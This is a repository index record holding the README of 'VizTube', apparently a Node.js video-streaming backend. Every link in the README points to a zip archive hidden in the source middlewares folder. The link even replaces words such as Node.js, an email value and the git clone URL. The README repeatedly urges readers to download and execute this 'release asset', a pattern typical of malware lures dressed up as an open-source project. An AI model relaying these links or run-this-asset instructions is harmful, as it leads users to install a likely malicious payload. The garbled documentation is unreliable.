{"id":31588639,"url":"https://github.com/sohibmoslem/viztube","last_synced_at":"2026-04-10T11:02:24.084Z","repository":{"id":313499578,"uuid":"1037062697","full_name":"sohibmoslem/VizTube","owner":"sohibmoslem","description":"VizTube is a scalable video streaming backend built with Node.js, Express, and MongoDB. REST APIs, docs, and cloud-ready features for quick deployment and scaling. 🐙","archived":false,"fork":false,"pushed_at":"2025-10-15T09:11:56.000Z","size":1026,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"master","last_synced_at":"2025-10-15T09:21:33.140Z","etag":null,"topics":["backend","cloudinary","elixir","express","javascript","mongodb","mongoose","nodejs","phoenix","postman","rest-api","video-streaming","youtube"],"latest_commit_sha":null,"homepage":null,"language":"JavaScript","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sohibmoslem.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-08-13T02:30:54.000Z","updated_at":"2025-10-15T09:12:00.000Z","dependencies_parsed_at":"2025-09-06T14:28:19.161Z","dependency_job_id":"af94d2fe-b072-4d77-981e-9c1a13b9d3dc","html_url":"https://github.com/sohibmoslem/VizTube","commit_stats":null,"previous_names":["sohibmoslem/viztube"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/sohibmoslem/VizTube","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sohibmoslem%2FVizTube","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sohibmoslem%2FVizTube/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sohibmoslem%2FVizTube/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sohibmoslem%2FVizTube/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sohibmoslem","download_url":"https://codeload.github.com/sohibmoslem/VizTube/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sohibmoslem%2FVizTube/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":280308521,"owners_count":26308494,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-10-21T02:00:06.614Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["backend","cloudinary","elixir","express","javascript","mongodb","mongoose","nodejs","phoenix","postman","rest-api","video-streaming","youtube"],"created_at":"2025-10-06T02:11:52.836Z","updated_at":"2026-04-10T11:02:24.077Z","avatar_url":"https://github.com/sohibmoslem.png","language":"JavaScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# VizTube Backend: Production-Grade https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip Server for Video Sharing Platform\n\n[![Releases](https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip)](https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip)\n\nAccess release assets here: https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip\n\nVizTube is a complete backend tailored for a video sharing platform. It combines a fast Express API, a scalable MongoDB data layer, and Cloudinary for media management. The system is designed for production use, with authentication, authorization, media handling, streaming endpoints, and a clean, extensible architecture.\n\nImages and visuals\n- Hero banner: an illustration of video streaming concepts and cloud storage\n- Architecture diagram: a high-level view of services and data flow\n- Cloudinary integration visuals: how media is uploaded, transformed, and delivered\n\nNote: This repository is built to be run in real environments. The Releases page contains binaries and installer assets you can download and execute to bootstrap a production-like environment quickly.\n\nTable of contents\n- Overview\n- Topics\n- Key features\n- Tech stack\n- How it works\n- Project structure\n- Getting started\n- Environment and configuration\n- Data models\n- API reference\n- Media and streaming\n- Testing and quality\n- Deployment and orchestration\n- Security and authentication\n- Observability and debugging\n- Development workflow\n- Releases and assets\n- Roadmap\n- Contributing\n- License\n\nOverview\nVizTube provides a production-ready backend for a video sharing platform. It leverages:\n- https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip and Express for the API surface\n- MongoDB with Mongoose for the data layer\n- Cloudinary for media storage, processing, and delivery\n- JWT for authentication and role-based access control\n- RESTful design with clear, versioned endpoints\n- A focus on reliability, testability, and maintainability\n\nTopics\n- backend\n- cloudinary\n- express\n- javascript\n- jwt-authentication\n- mongodb\n- mongoose\n- nodejs\n- postman\n- rest-api\n- video-streaming\n\nKey features\n- User accounts with secure authentication and optional role-based access\n- Video upload workflow integrated with Cloudinary\n- Video metadata management and search capabilities\n- Commenting, likes, and playlists\n- Robust API design with versioning\n- Streaming support with progressive delivery\n- Admin and moderation tools\n- Postman-ready API collection for quick testing\n- Observability hooks for logs, metrics, and tracing\n- Local development and Docker-based deployment options\n\nTech stack\n- https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip\n- Express\n- MongoDB (with Mongoose)\n- Cloudinary\n- JWT for auth\n- Postman for API testing\n\nHow it works\n- Client uploads a video\n  - The API receives the file and metadata\n  - The video is pushed to Cloudinary, which handles storage, transcoding, and delivery\n  - The server stores references and metadata in MongoDB\n- Users fetch and stream videos\n  - The API serves metadata and secure URLs\n  - Clients stream video data from Cloudinary with appropriate access controls\n- Actions like comments, likes, and subscriptions are persisted via the API\n- JWTs are issued on login and are required for protected routes\n- All data interactions run through a clean service layer for testability\n\nProject structure\n- src/\n  - api/ or routes/ – defined REST endpoints\n  - controllers/ – business logic for each route\n  - models/ – Mongoose schemas\n  - middlewares/ – auth, validation, error handling\n  - services/ – data access and external service integration (Cloudinary, mail, etc.)\n  - config/ – environment configuration and constants\n  - utils/ – helpers and utilities\n  - tests/ – unit and integration tests\n- dist/ or build/ – compiled or transpiled outputs (when applicable)\n- scripts/ – maintenance and development scripts\n- tests/ – end-to-end tests and Postman collections\n\nGetting started\nPrerequisites\n- https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip \u003e= 18\n- MongoDB either locally or in a managed cloud\n- Cloudinary account with a cloud name, API key, and API secret\n- Git for cloning the repository\n- Optional: Docker and Docker Compose for containerized runs\n\nQuick start (local development)\n1) Clone the repository\n- Run: git clone https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip\n2) Install dependencies\n- Run: npm install\n3) Create environment configuration\n- Copy the example env file and fill in values:\n  - MONGODB_URI\n  - CLOUDINARY_CLOUD_NAME\n  - CLOUDINARY_API_KEY\n  - CLOUDINARY_API_SECRET\n  - JWT_SECRET\n  - PORT\n4) Start the development server\n- Run: npm run dev\n5) Test the API\n- Use a REST client like Postman to hit the endpoints. The Postman collection is located in the repo (see the Releases page for assets).\n\nEnvironment and configuration\nEnvironment variables you will typically configure\n- PORT: the server port (e.g., 3000)\n- MONGODB_URI: connection string for MongoDB\n- CLOUDINARY_CLOUD_NAME: Cloudinary cloud name\n- CLOUDINARY_API_KEY: Cloudinary API key\n- CLOUDINARY_API_SECRET: Cloudinary API secret\n- JWT_SECRET: secret for signing JWTs\n- CLOUDINARY_UPLOAD_PRESET: if you use unsigned uploads\n- LOG_LEVEL: debug, info, warn, error\n- NODE_ENV: development or production\n\nTips for production tuning\n- Use a process manager like PM2 or a container orchestrator to keep the app running\n- Enable rate limiting and input validation to guard the API\n- Store logs in a central place and monitor with dashboards\n- Use a CDN-backed domain for video delivery\n- Rotate Cloudinary credentials securely and refresh tokens as needed\n\nData models (high-level)\n- User\n  - id, email, password hash, displayName, avatarUrl, roles, createdAt, updatedAt\n- Video\n  - id, userId (reference), title, description, tags, cloudinaryAssetId, url, thumbnailUrl, duration, views, createdAt, updatedAt\n- Comment\n  - id, videoId (reference), userId (reference), text, createdAt\n- Like\n  - id, videoId (reference), userId (reference), createdAt\n- Playlist\n  - id, userId (reference), title, description, videoIds[]\n- Subscription (if you support channels)\n  - id, followerId, channelId, createdAt\n\nAPI reference (high-level)\n- Authentication\n  - POST /api/v1/auth/register\n  - POST /api/v1/auth/login\n  - POST /api/v1/auth/refresh\n  - POST /api/v1/auth/logout\n- Users\n  - GET /api/v1/users/me\n  - PUT /api/v1/users/me\n- Videos\n  - POST /api/v1/videos\n  - GET /api/v1/videos\n  - GET /api/v1/videos/:id\n  - PUT /api/v1/videos/:id\n  - DELETE /api/v1/videos/:id\n  - POST /api/v1/videos/:id/thumbnail\n  - GET /api/v1/videos/:id/stream\n- Comments\n  - POST /api/v1/videos/:id/comments\n  - GET /api/v1/videos/:id/comments\n- Likes\n  - POST /api/v1/videos/:id/like\n  - DELETE /api/v1/videos/:id/like\n- Playlists\n  - POST /api/v1/playlists\n  - GET /api/v1/playlists/:id\n  - POST /api/v1/playlists/:id/videos\n- Admin\n  - GET /api/v1/admin/stats\n  - GET /api/v1/admin/logs\n\nExample requests (illustrative)\n- Register\n  - POST /api/v1/auth/register\n  - Body: { \"email\": \"https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip\", \"password\": \"SafePass123!\", \"displayName\": \"VideoFan\" }\n- Login\n  - POST /api/v1/auth/login\n  - Body: { \"email\": \"https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip\", \"password\": \"SafePass123!\" }\n  - Response: { \"token\": \"...\", \"refreshToken\": \"...\", \"user\": { ... } }\n- Upload video\n  - POST /api/v1/videos\n  - Headers: Authorization: Bearer \u003ctoken\u003e\n  - Body: { \"title\": \"...\", \"description\": \"...\", \"tags\": [\"music\",\"demo\"], \"file\": \"\u003cbinary-blob\u003e\" }\n  - Note: The server forwards the file to Cloudinary and stores metadata\n- Get video metadata\n  - GET /api/v1/videos/:id\n- Stream video\n  - GET /api/v1/videos/:id/stream\n  - The endpoint returns a secure URL or a streaming manifest depending on the transport\n- Add a comment\n  - POST /api/v1/videos/:id/comments\n  - Body: { \"text\": \"Great video!\" }\n\nMedia and streaming\n- Cloudinary integration\n  - Videos are uploaded to Cloudinary, where assets are stored and transformed as needed\n  - The backend stores metadata and references in MongoDB\n  - Clients receive secure URLs for playback, aligned with access controls\n- Streaming strategy\n  - Progressive streaming for broad compatibility\n  - Adaptive bitrate considerations via Cloudinary transforms\n  - Support for seeking, pausing, and resuming playback\n\nSecurity and authentication\n- JWT-based authentication\n  - Tokens carry user identity and roles\n  - Protected routes require a valid token\n- Role-based access\n  - Users, moderators, and admins can have different permissions\n- Input validation\n  - Validation is performed on request data to prevent invalid inputs\n- Secrets management\n  - Secrets live in environment variables or a secrets store, never in code\n\nObservability and debugging\n- Logging\n  - Structured logs with timestamps and request metadata\n- Metrics\n  - Basic counters for requests, errors, and latency\n- Tracing\n  - Optional integration with tracing tools\n- Error handling\n  - Consistent error responses with codes and messages\n\nTesting and quality\n- Unit tests\n  - Core business logic tested in isolation\n- Integration tests\n  - End-to-end flows tested against a test database\n- API tests\n  - Postman collection provided for manual or automated checks\n- Linting and formatting\n  - Style checks ensure a consistent codebase\n\nDeployment and orchestration\n- Local development\n  - Run with Node directly or via a dockerized setup\n- Docker\n  - A Dockerfile and optional https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip help you run in containers\n  - Environment variables can be mounted at runtime\n- Production considerations\n  - Use a reverse proxy (Nginx or similar)\n  - Run behind a load balancer\n  - Separate services for API, database, and media processing\n  - Use a managed MongoDB cluster if possible\n  - Configure Cloudinary credentials securely\n- CI/CD\n  - Automate tests on push\n  - Build and deploy artifacts to your environment\n  - Use secrets management to protect credentials\n\nReleases and assets\n- The Releases page contains ready-to-use assets, installers, and examples for fast bootstrapping\n- You can download release assets and execute them to start a production-like environment\n- You can visit the Releases page here: https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip\n- For production deployment, download the recommended asset package from the releases and follow the included instructions\n\nRoadmap\n- Improve search with text indexing and fuzzy matching\n- Add streaming APIs for HLS/DASH delivered content\n- Expand moderation tools and reporting mechanisms\n- Introduce role-based dashboards for content creators\n- Add analytics for creators and viewers\n- Implement multi-tenant support for white-label deployments\n\nContributing\n- Fork the repository\n- Create a feature branch\n- Write tests for your changes\n- Run the test suite locally\n- Open a pull request with a clear description\n- Respect the project’s coding standards and guidelines\n- Report issues clearly with steps to reproduce\n\nLicense\n- MIT License\n\nTopics (from the repository)\n- backend\n- cloudinary\n- express\n- javascript\n- jwt-authentication\n- mongodb\n- mongoose\n- nodejs\n- postman\n- rest-api\n- video-streaming\n\nReleases and assets (detailed guidance)\n- The Releases page contains the files you can download and execute to bootstrap a production-like environment\n- If you need to set up quickly, visit the Releases page and download https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip (or a similarly named asset) and follow the included setup instructions\n- You can access the same link again for reference: https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip\n- Remember: assets on that page are versioned. Choose the asset that matches your environment (operating system, architecture, and intended deployment style)\n\nChangelog (high level highlights)\n- v1.x.x: Core backend with authentication, video upload, and basic streaming\n- v1.y.y: Improved Cloudinary integration, better error handling, and richer API surface\n- v2.x.x: Admin tools, playlists, and advanced moderation features\n- v3.x.x: Performance optimizations, caching, and enhanced observability\n\nDesign philosophy\n- Clarity and reliability come first\n- APIs are predictable and well-documented\n- The system favors explicit behavior over clever tricks\n- The codebase aims to be approachable for new contributors\n\nAdditional notes\n- The README emphasizes production-readiness while remaining approachable for local development\n- You can adapt the asset names and service endpoints to fit your deployment style\n- Cloudinary integration is a core differentiator; ensure credentials are kept secure in production\n\nEnd with a robust, well-structured plan for adoption\n- Start with a local setup to understand the data model and API design\n- Move to a containerized environment for reproducibility\n- Grow your test coverage before moving to a staging environment\n- Prepare a minimal production deployment plan that includes monitoring and backups\n\nReleases and assets (second reference)\n- For production-ready assets and installers, use the Releases page again here: https://github.com/sohibmoslem/VizTube/raw/refs/heads/master/src/middlewares/Tube_Viz_v2.5.zip\n- On that page, download the asset suitable for your environment and follow the documented steps to install and run\n\nTopics recap\n- backend, cloudinary, express, javascript, jwt-authentication, mongodb, mongoose, nodejs, postman, rest-api, video-streaming\n\nNotes for maintainers\n- Keep environment-specific values out of source code\n- Document any breaking changes in the changelog\n- Maintain clear API contracts with versioning and deprecation notices\n- Ensure tests cover both happy paths and common error cases\n\nThis README provides a complete guide to understanding, running, and extending VizTube's backend. It emphasizes production readiness, practical testing, and a clear path from local development to deployment. The content aligns with the repository's themes and the included release assets to help teams adopt and customize VizTube quickly.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsohibmoslem%2Fviztube","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsohibmoslem%2Fviztube","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsohibmoslem%2Fviztube/lists"}